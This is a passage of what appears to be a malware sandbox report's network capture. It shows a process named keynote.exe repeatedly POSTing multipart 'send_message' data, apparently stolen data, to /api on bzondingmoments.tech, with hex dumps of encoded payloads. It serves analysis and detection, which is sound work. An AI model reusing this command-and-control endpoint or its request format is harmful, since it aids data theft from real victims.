2025-02-17 21:15:51 UTC	1048	IN	HTTP/1.1 200 OK Date: Mon, 17 Feb 2025 21:15:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=cch0q5eu5fcvhkj0go4ear2lhv; expires=Tue, 18 Feb 2025 21:15:51 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7qidLLUnIFnFHguQtuloWL%2BpkA%2FmAhh%2Fc0aImmRJUCRtYfO7B0EvMmXOO2aHBabu2hleV1%2FfqXI1dC%2BRSMOoNoZNnBxaLxG5VI%2Bv3tKAWGTQVyiiJhjqarFVvRq0Tk2kw5Fq83nt4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9138cb8b1c407c8d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1801&min_rtt=1792&rtt_var=691&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=947&delivery_rate=1563169&cwnd=192&unsent_bytes=0&cid=996c44a7dc53155e&ts=558&x=0"
2025-02-17 21:15:51 UTC	321	IN	Data Raw: 34 39 39 34 0d 0a 32 59 35 55 6d 6e 36 6b 71 52 57 53 6c 69 61 6a 52 30 73 69 4e 50 4f 77 4d 6d 5a 54 43 6f 56 4f 59 6d 59 7a 31 6c 6e 51 36 42 2b 69 72 43 4b 34 52 4a 43 46 4e 2b 48 7a 42 4a 6b 7a 4f 56 64 52 33 35 4a 54 41 6e 45 77 34 79 38 4f 46 56 62 36 65 36 61 46 50 65 50 6f 4e 66 59 4e 77 59 55 33 39 2b 34 45 6d 52 77 77 41 46 47 64 6b 67 68 45 4e 6d 44 6e 4c 77 34 45 55 72 30 32 6f 49 52 38 73 65 49 7a 38 68 76 48 7a 58 54 2b 2b 30 50 47 49 69 70 49 57 70 72 64 57 67 74 78 4a 71 63 72 47 45 51 4a 39 42 53 31 6e 48 36 55 37 79 66 78 58 4e 6d 46 62 72 44 7a 53 49 46 39 61 55 4e 52 6b 64 78 55 41 6a 68 69 37 53 59 47 42 56 65 38 4b 62 6d 4f 64 37 48 73 4d 50 4d 52 7a 74 6c 35 39 50 78 49 77 43 67 71 41 42 6a 52 31 55 68 45 61 53 69 30 48 67 4d 56 51 Data Ascii: 49942Y5Umn6kqRWSliajR0siNPOwMmZTCoVOYmYz1lnQ6B+irCK4RJCFN+HzBJkzOVdR35JTAnEw4y8OFVb6e6aFPePoNfYNwYU39+4EmRwwAFGdkghENmDnLw4EUr02oIR8seIz8hvHzXT++0PGIipIWprdWgtxJqcrGEQJ9BS1nH6U7yfxXNmFbrDzSIF9aUNRkdxUAjhi7SYGBVe8KbmOd7HsMPMRztl59PxIwCgqABjR1UhEaSi0HgMVQ
2025-02-17 21:15:51 UTC	1369	IN	Data Raw: 69 4d 51 41 4f 30 66 4a 41 42 7a 4a 38 36 6a 31 41 47 78 2b 74 65 37 57 47 50 65 4f 73 4d 50 59 64 79 38 74 6c 2b 50 39 50 78 44 63 69 53 56 75 63 30 6c 30 4f 50 6d 76 6e 4b 77 6f 4f 58 72 34 2f 76 34 64 37 75 2b 78 32 74 6c 7a 42 30 7a 65 6f 74 47 66 45 4e 53 35 4d 51 4e 50 6f 45 42 74 2f 63 61 63 72 44 45 51 4a 39 44 4f 33 69 58 36 77 34 7a 58 77 46 39 54 4c 5a 66 62 35 51 64 4d 6a 4c 45 35 63 6b 73 42 61 43 6a 64 72 37 69 63 4a 41 56 61 77 65 2f 7a 4b 65 71 4f 73 62 72 67 39 79 38 42 37 2b 75 4e 45 67 54 70 6e 57 52 61 57 33 68 42 63 63 57 7a 6d 4b 41 45 41 58 37 6f 2f 76 6f 78 7a 74 75 4d 77 38 68 7a 42 77 58 2f 34 39 55 6e 4b 4b 69 6c 46 57 35 58 55 58 41 55 30 4b 4b 6c 73 42 78 77 52 37 48 75 63 6a 58 36 70 72 67 50 37 45 73 6a 4d 59 62 44 72 43 74 Data Ascii: iMQAO0fJABzJ86j1AGx+te7WGPeOsMPYdy8tl+P9PxDciSVuc0l0OPmvnKwoOXr4/v4d7u+x2tlzB0zeotGfENS5MQNPoEBt/cacrDEQJ9DO3iX6w4zXwF9TLZfb5QdMjLE5cksBaCjdr7icJAVawe/zKeqOsbrg9y8B7+uNEgTpnWRaW3hBccWzmKAEAX7o/voxztuMw8hzBwX/49UnKKilFW5XUXAU0KKlsBxwR7HucjX6prgP7EsjMYbDrCt
2025-02-17 21:15:51 UTC	1369	IN	Data Raw: 58 4a 48 61 56 51 55 37 59 71 64 69 51 41 4e 4a 39 47 50 79 75 32 71 77 72 67 50 37 45 73 6a 4d 59 62 44 72 43 74 68 6c 4c 6b 77 57 79 5a 4a 64 44 44 52 74 36 43 30 4b 43 6c 53 2b 4e 37 71 45 66 71 6e 6a 4d 76 67 51 7a 73 46 36 2f 76 42 4d 79 43 34 69 52 6c 61 51 32 42 42 4b 63 57 2f 2f 62 46 68 45 5a 62 4d 33 76 34 55 2f 6a 75 38 34 39 68 76 51 69 32 69 2b 37 51 54 47 4b 57 6b 59 46 70 33 62 55 41 38 37 62 4f 63 72 44 51 46 53 73 7a 69 2f 6a 58 65 31 36 7a 4c 30 46 63 76 4e 64 2f 66 77 51 64 4d 67 49 45 78 61 30 5a 77 51 41 79 6b 6f 76 32 77 76 41 30 65 33 46 4c 47 62 64 50 76 7a 65 4f 46 63 77 63 63 33 71 4c 52 44 78 43 30 69 52 6c 36 52 77 46 55 4b 4f 6d 6e 74 4b 67 45 4a 58 62 49 37 73 34 70 37 74 2b 77 78 2f 77 37 55 7a 6e 48 69 2f 67 53 50 5a 53 35 Data Ascii: XJHaVQU7YqdiQANJ9GPyu2qwrgP7EsjMYbDrCthlLkwWyZJdDDRt6C0KClS+N7qEfqnjMvgQzsF6/vBMyC4iRlaQ2BBKcW//bFhEZbM3v4U/ju849hvQi2i+7QTGKWkYFp3bUA87bOcrDQFSszi/jXe16zL0FcvNd/fwQdMgIExa0ZwQAykov2wvA0e3FLGbdPvzeOFcwcc3qLRDxC0iRl6RwFUKOmntKgEJXbI7s4p7t+wx/w7UznHi/gSPZS5
2025-02-17 21:15:51 UTC	1369	IN	Data Raw: 6c 63 49 63 54 43 6e 4c 77 38 4e 58 72 77 7a 76 59 56 35 74 65 6f 77 39 52 6e 4a 77 57 58 34 2b 6b 6e 4b 4b 69 4a 53 56 70 7a 57 58 41 41 35 59 2b 31 73 54 6b 52 57 72 48 76 71 79 6b 69 32 34 7a 62 37 43 6f 62 55 4f 65 6d 30 51 38 31 6c 63 51 42 61 6e 39 4a 66 43 44 31 6a 37 79 30 4d 43 6c 61 78 4d 72 71 43 62 37 72 6f 50 76 6b 53 79 63 70 7a 39 66 46 41 78 69 45 76 54 78 62 66 6b 6c 63 63 63 54 43 6e 41 79 63 78 45 35 55 42 38 70 55 7a 6f 71 77 78 39 46 79 65 69 33 76 7a 2b 45 7a 4f 49 79 42 4d 58 4a 6a 5a 58 41 38 31 5a 4f 34 70 42 67 56 55 73 54 71 32 68 6e 65 39 37 7a 58 33 45 38 6e 44 4e 37 36 30 51 39 6c 6c 63 51 42 7a 68 74 6c 65 41 6e 46 33 71 54 56 41 41 31 33 30 59 2f 4b 47 64 4c 33 71 4d 2f 51 64 77 4d 4e 79 2b 50 42 46 78 79 4d 71 54 31 4b 55 Data Ascii: lcIcTCnLw8NXrwzvYV5teow9RnJwWX4+knKKiJSVpzWXAA5Y+1sTkRWrHvqyki24zb7CobUOem0Q81lcQBan9JfCD1j7y0MClaxMrqCb7roPvkSycpz9fFAxiEvTxbfklcccTCnAycxE5UB8pUzoqwx9Fyei3vz+EzOIyBMXJjZXA81ZO4pBgVUsTq2hne97zX3E8nDN760Q9llcQBzhtleAnF3qTVAA130Y/KGdL3qM/QdwMNy+PBFxyMqT1KU
2025-02-17 21:15:51 UTC	1369	IN	Data Raw: 5a 6d 36 43 38 53 42 56 79 2f 4b 62 57 46 65 62 7a 67 4d 50 63 61 78 38 35 39 2f 50 4e 42 79 69 6f 6c 41 42 6a 52 31 55 68 45 61 53 6a 4a 4a 78 4d 54 55 72 6f 77 70 4a 45 39 70 4b 49 76 75 42 76 4b 69 79 2b 77 39 30 2f 4b 49 53 6c 4d 56 70 58 66 55 42 59 2b 62 2b 41 6c 43 78 5a 62 73 7a 79 35 67 6e 61 30 36 69 54 30 45 74 54 4f 5a 65 4b 30 43 6f 45 69 4d 51 41 4f 30 65 52 58 46 43 46 72 70 52 30 57 42 30 65 2f 4e 72 37 4b 59 76 58 31 64 76 38 51 68 70 4d 33 39 76 74 4e 77 69 6f 6f 53 56 71 63 31 31 6b 42 4d 47 37 6a 4a 67 6f 45 56 37 49 36 74 34 42 2b 75 75 59 2f 2f 78 54 42 79 47 57 77 75 67 54 47 50 57 6b 59 46 72 6a 56 51 67 6f 68 4b 50 68 69 47 55 52 57 75 48 76 71 79 6e 6d 78 34 7a 4c 2f 45 4d 44 4f 63 66 33 31 53 38 41 6c 4a 6b 52 64 6d 4e 52 52 43 Data Ascii: Zm6C8SBVy/KbWFebzgMPcax859/PNByiolABjR1UhEaSjJJxMTUrowpJE9pKIvuBvKiy+w90/KISlMVpXfUBY+b+AlCxZbszy5gna06iT0EtTOZeK0CoEiMQAO0eRXFCFrpR0WB0e/Nr7KYvX1dv8QhpM39vtNwiooSVqc11kBMG7jJgoEV7I6t4B+uuY//xTByGWwugTGPWkYFrjVQgohKPhiGURWuHvqynmx4zL/EMDOcf31S8AlJkRdmNRRC
2025-02-17 21:15:51 UTC	1369	IN	Data Raw: 31 51 41 4e 64 39 47 50 79 69 6e 65 2b 35 6a 76 37 45 38 58 5a 64 76 62 6d 52 4d 77 76 4f 30 70 64 6c 4e 39 64 43 54 4a 75 34 53 63 4d 46 6c 69 30 4f 4c 6e 4b 4d 2f 76 72 4c 72 68 45 68 75 68 67 35 76 35 44 7a 54 4d 69 51 56 57 48 33 30 42 45 66 79 6a 32 4b 78 46 45 43 61 49 72 70 59 31 69 39 66 56 32 2f 78 43 47 6b 7a 66 32 2f 55 4c 47 49 79 64 53 55 35 66 64 58 77 30 34 62 4f 38 76 41 41 42 56 73 7a 36 78 68 6e 61 38 37 7a 6e 38 46 63 6a 43 65 4c 43 36 42 4d 59 39 61 52 67 57 73 4d 6c 54 43 44 77 6f 2b 47 49 5a 52 46 61 34 65 2b 72 4b 63 62 58 70 4e 76 49 61 77 73 35 78 2b 76 46 45 79 69 59 6d 52 46 43 56 33 56 41 50 4f 47 6e 68 4b 51 6f 50 56 37 6b 34 74 49 77 39 39 61 77 78 34 46 79 65 69 31 66 72 2b 55 6a 47 5a 54 59 4f 54 39 48 56 58 45 52 70 4b 4f Data Ascii: 1QANd9GPyine+5jv7E8XZdvbmRMwvO0pdlN9dCTJu4ScMFli0OLnKM/vrLrhEhuhg5v5DzTMiQVWH30BEfyj2KxFECaIrpY1i9fV2/xCGkzf2/ULGIydSU5fdXw04bO8vAABVsz6xhna87zn8FcjCeLC6BMY9aRgWsMlTCDwo+GIZRFa4e+rKcbXpNvIaws5x+vFEyiYmRFCV3VAPOGnhKQoPV7k4tIw99awx4Fyei1fr+UjGZTYOT9HVXERpKO
2025-02-17 21:15:51 UTC	1369	IN	Data Raw: 45 62 4d 6a 38 74 49 39 6c 4f 73 67 2b 7a 50 46 32 6e 36 77 75 67 54 47 4d 32 6b 59 46 71 2b 53 51 67 63 68 61 2b 67 39 50 6b 51 4a 72 51 58 79 67 57 75 38 2f 44 58 75 46 38 76 48 5a 73 36 30 48 4a 56 33 65 78 49 45 77 38 30 51 47 77 34 6d 70 79 31 41 58 47 69 74 65 36 54 4b 4a 65 6d 69 64 75 70 63 6e 6f 73 77 38 2b 5a 57 78 79 59 2f 51 78 47 76 37 48 63 53 4f 32 2f 33 4b 78 63 4c 45 66 70 37 76 63 6f 6c 67 71 77 2f 2f 77 66 58 33 58 72 67 38 77 54 2b 61 32 6c 59 46 73 6d 53 5a 51 63 2f 5a 75 41 36 45 55 6c 32 6f 6a 47 31 6d 6e 71 73 34 33 61 32 58 4d 43 4c 4c 36 4f 36 42 4d 55 30 61 52 67 47 77 34 6b 46 56 32 59 34 74 54 4e 4f 48 52 47 69 65 2b 72 59 4d 2f 76 2b 64 71 42 63 67 63 68 6c 34 76 4a 48 31 79 5a 75 66 6d 69 32 79 46 30 43 4a 6e 6e 5a 45 67 63 Data Ascii: EbMj8tI9lOsg+zPF2n6wugTGM2kYFq+SQgcha+g9PkQJrQXygWu8/DXuF8vHZs60HJV3exIEw80QGw4mpy1AXGite6TKJemidupcnosw8+ZWxyY/QxGv7HcSO2/3KxcLEfp7vcolgqw//wfX3Xrg8wT+a2lYFsmSZQc/ZuA6EUl2ojG1mnqs43a2XMCLL6O6BMU0aRgGw4kFV2Y4tTNOHRGie+rYM/v+dqBcgchl4vJH1yZufmi2yF0CJnnZEgc
2025-02-17 21:15:51 UTC	1369	IN	Data Raw: 4f 66 5a 4b 75 75 2b 4b 62 59 46 68 74 30 33 71 4b 59 4b 67 54 64 70 47 42 62 57 30 55 49 57 4e 32 76 78 4c 30 63 36 62 37 55 32 76 63 5a 7a 73 4f 77 78 36 41 72 64 68 33 2f 7a 37 6c 37 2f 47 77 4a 4d 55 4a 62 49 56 77 49 58 53 4b 64 69 51 41 73 52 37 41 4c 79 77 6a 32 45 6f 6e 62 67 58 4a 36 4c 51 76 50 36 53 73 59 7a 4f 41 31 2b 73 75 68 71 52 68 31 76 38 6d 34 30 41 30 47 6c 4d 4c 2b 47 50 66 57 73 4d 4c 68 45 6c 6f 55 33 39 4f 55 45 6d 58 56 37 47 77 50 43 68 51 42 57 4c 69 62 2b 62 42 5a 45 43 65 5a 31 38 70 67 39 34 36 78 78 2b 77 37 55 7a 58 54 6d 39 77 50 2f 47 77 35 4f 55 5a 44 45 51 42 4d 2b 56 74 6b 35 41 77 70 66 73 79 32 6a 79 6a 50 37 34 33 61 67 4a 59 61 44 4e 38 2b 36 42 4e 6c 6c 63 51 42 6a 6b 74 78 65 41 79 64 35 71 67 73 4f 41 31 43 69 Data Ascii: OfZKuu+KbYFht03qKYKgTdpGBbW0UIWN2vxL0c6b7U2vcZzsOwx6Ardh3/z7l7/GwJMUJbIVwIXSKdiQAsR7ALywj2EonbgXJ6LQvP6SsYzOA1+suhqRh1v8m40A0GlML+GPfWsMLhEloU39OUEmXV7GwPChQBWLib+bBZECeZ18pg946xx+w7UzXTm9wP/Gw5OUZDEQBM+Vtk5Awpfsy2jyjP743agJYaDN8+6BNllcQBjktxeAyd5qgsOA1Ci
2025-02-17 21:15:51 UTC	1369	IN	Data Raw: 58 37 7a 54 7a 6f 45 63 6e 4d 4e 64 44 7a 55 73 4a 6c 5a 77 42 53 30 59 6f 51 49 54 78 6c 34 69 49 48 52 6e 43 2b 4b 37 2b 46 65 76 6e 4d 4d 65 34 66 68 6f 55 33 2f 4c 51 63 67 53 51 6a 55 46 75 65 31 52 77 44 4b 32 2b 6e 59 6b 41 4b 45 65 78 37 73 34 42 74 74 75 4d 78 74 42 72 49 78 54 66 76 75 6c 32 42 4d 32 6b 59 42 64 2b 53 51 6b 52 70 4b 4b 41 76 45 68 5a 58 74 79 32 78 7a 55 4f 46 77 53 54 2f 44 4d 57 4a 52 76 33 77 55 74 51 6d 4f 55 64 6f 72 2f 39 43 41 79 46 72 70 52 30 57 42 31 47 36 50 50 4c 45 50 61 4f 73 62 72 67 78 31 4d 78 6e 38 37 51 4b 67 53 6c 70 47 42 61 63 77 46 63 55 4d 69 54 67 4e 67 64 45 54 76 6f 69 38 70 77 39 34 37 39 34 75 41 36 47 6b 7a 65 33 2b 6b 6e 41 4a 69 64 44 52 49 50 55 55 78 49 79 4c 39 6b 53 4c 52 5a 57 70 44 6a 77 75 Data Ascii: X7zTzoEcnMNdDzUsJlZwBS0YoQITxl4iIHRnC+K7+FevnMMe4fhoU3/LQcgSQjUFue1RwDK2+nYkAKEex7s4BttuMxtBrIxTfvul2BM2kYBd+SQkRpKKAvEhZXty2xzUOFwST/DMWJRv3wUtQmOUdor/9CAyFrpR0WB1G6PPLEPaOsbrgx1Mxn87QKgSlpGBacwFcUMiTgNgdETvoi8pw94794uA6Gkze3+knAJidDRIPUUxIyL9kSLRZWpDjwu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	104.21.17.68	443	7324	C:\Users\user\Desktop\keynote.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-17 21:15:52 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M4BQYQ1YR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18106 Host: bzondingmoments.tech
2025-02-17 21:15:52 UTC	15331	OUT	Data Raw: 2d 2d 4d 34 42 51 59 51 31 59 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 65 0d 0a 2d 2d 4d 34 42 51 59 51 31 59 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 57 38 5a 51 4e 2d 2d 0d 0a 2d 2d 4d 34 42 51 59 51 31 59 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 34 42 51 59 51 31 59 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --M4BQYQ1YRContent-Disposition: form-data; name="act"send_message--M4BQYQ1YRContent-Disposition: form-data; name="lid"PW8ZQN----M4BQYQ1YRContent-Disposition: form-data; name="pid"2--M4BQYQ1YRContent-Disposition: form-data; name="
2025-02-17 21:15:52 UTC	2775	OUT	Data Raw: 45 22 d3 01 75 28 77 d7 c7 3d 22 9b 56 82 b3 d1 b0 6f e8 78 99 42 eb f4 b0 ef 7b 76 26 b4 b0 f4 4c e5 b1 81 1f c4 2c 37 bd 4b 40 e2 ca 93 b0 56 c0 ff 1f 00 00 00 90 42 b0 fe 03 00 00 00 e9 03 eb 3f 00 00 00 90 3e b0 fe 03 00 00 00 e9 03 eb 3f 00 00 00 90 3e b0 fe 03 00 00 00 e9 03 eb 3f 00 00 00 90 3e b0 fe 03 00 00 00 e9 03 fe ff 00 00 00 80 f4 81 fd 3f 00 00 00 90 3e 4e f1 0b d6 7f 00 00 00 20 55 60 ff 0f 00 00 00 a4 0f ec ff 01 00 00 80 f4 c1 f7 ff a7 fa ce 09 d9 d9 be 4a df b9 dc df e7 76 07 fe 6a a0 d4 bf df 3f 99 b5 84 8f 85 8f 73 6f 42 47 e9 63 f5 83 9c a4 cd 27 1d bc 16 3e cd cb 3f e3 cd 3b 20 cf 56 8a 49 31 17 5b ab ef 8b d2 fc 7c e6 a0 78 e8 d4 b0 b0 5c 52 f8 85 c4 d3 c4 c2 52 d1 93 c5 c6 e5 f0 61 73 c1 b9 72 dd f3 10 89 45 cb 54 53 f9 b9 86 de Data Ascii: E"u(w="VoxB{v&L,7K@VB?>?>?>?>N U`Jvj?soBGc'>?; VI1[\|x\RRasrETS
2025-02-17 21:16:00 UTC	1046	IN	HTTP/1.1 200 OK Date: Mon, 17 Feb 2025 21:16:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=achpu3gs3m8umg4eglgo2fdjrv; expires=Tue, 18 Feb 2025 21:15:52 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hWjG2c4HTHOrM6h90I8bxLKceLDxqEEPjK8bLhLh%2BxWhD9AylLfAQqXl%2FW521jJGqLEAImubp%2BacyZHNDs0gabYjcBUjPS5y8O2EfIoNKq3HpT6FkgWJvAZAPeEHHlyzHakQT9IdrA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9138cb95180e5e6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1559&min_rtt=1555&rtt_var=592&sent=9&recv=22&lost=0&retrans=0&sent_bytes=2854&recv_bytes=19063&delivery_rate=1833019&cwnd=247&unsent_bytes=0&cid=b6c7ec44f735df1e&ts=8222&x=0"
2025-02-17 21:16:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-17 21:16:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	104.21.17.68	443	7324	C:\Users\user\Desktop\keynote.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-17 21:16:01 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BMPV5SCT96DV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 4920 Host: bzondingmoments.tech
2025-02-17 21:16:01 UTC	4920	OUT	Data Raw: 2d 2d 42 4d 50 56 35 53 43 54 39 36 44 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 65 0d 0a 2d 2d 42 4d 50 56 35 53 43 54 39 36 44 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 57 38 5a 51 4e 2d 2d 0d 0a 2d 2d 42 4d 50 56 35 53 43 54 39 36 44 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 4d 50 56 35 53 43 54 39 36 44 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d Data Ascii: --BMPV5SCT96DVContent-Disposition: form-data; name="act"send_message--BMPV5SCT96DVContent-Disposition: form-data; name="lid"PW8ZQN----BMPV5SCT96DVContent-Disposition: form-data; name="pid"2--BMPV5SCT96DVContent-Disposition: form-
2025-02-17 21:16:01 UTC	1044	IN	HTTP/1.1 200 OK Date: Mon, 17 Feb 2025 21:16:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=jam1rsf87jsnrr7n6guks9nss3; expires=Tue, 18 Feb 2025 21:16:01 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=klFq6CT53xKb8y0hVcamRImN9XKbiMlbFtMUR1ntPA4zl0QwQ8ie4HNBpFsJeK3SIuWaGA6bbGNg3bH5Lz1gN%2Bqri7U2nglbCGQ%2BSeugtPUd%2FsZwTQJuq9EA1UPiEeulWokV9W7I3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9138cbcc1e667d1c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1909&min_rtt=1900&rtt_var=732&sent=7&recv=11&lost=0&retrans=0&sent_bytes=2853&recv_bytes=5835&delivery_rate=1476238&cwnd=158&unsent_bytes=0&cid=a2bab71ad888918a&ts=681&x=0"
2025-02-17 21:16:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-17 21:16:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	104.21.17.68	443	7324	C:\Users\user\Desktop\keynote.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-17 21:16:03 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PGBIO7SS6362EFG1SYD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20440 Host: bzondingmoments.tech
2025-02-17 21:16:03 UTC	15331	OUT	Data Raw: 2d 2d 50 47 42 49 4f 37 53 53 36 33 36 32 45 46 47 31 53 59 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 65 0d 0a 2d 2d 50 47 42 49 4f 37 53 53 36 33 36 32 45 46 47 31 53 59 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 57 38 5a 51 4e 2d 2d 0d 0a 2d 2d 50 47 42 49 4f 37 53 53 36 33 36 32 45 46 47 31 53 59 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 50 47 42 49 4f 37 53 53 36 33 36 32 45 46 47 31 53 59 44 Data Ascii: --PGBIO7SS6362EFG1SYDContent-Disposition: form-data; name="act"send_message--PGBIO7SS6362EFG1SYDContent-Disposition: form-data; name="lid"PW8ZQN----PGBIO7SS6362EFG1SYDContent-Disposition: form-data; name="pid"3--PGBIO7SS6362EFG1SYD
2025-02-17 21:16:03 UTC	5109	OUT	Data Raw: 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2025-02-17 21:16:04 UTC	1045	IN	HTTP/1.1 200 OK Date: Mon, 17 Feb 2025 21:16:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=pb2ner7064a1undef4o8k79n3r; expires=Tue, 18 Feb 2025 21:16:03 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ViD0X7JBvb2%2FAy7M588SqOzTxqj7SfksoPKHLIgHnx3xH4V82pZcXujzCdTx64zjlzm9B2nxzbqSPbhiwvSDU7xYzIF2Zi%2BKcY828DborqDkhRqBru7S9hknPs1oTBoAVrq3Zx2oQw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: 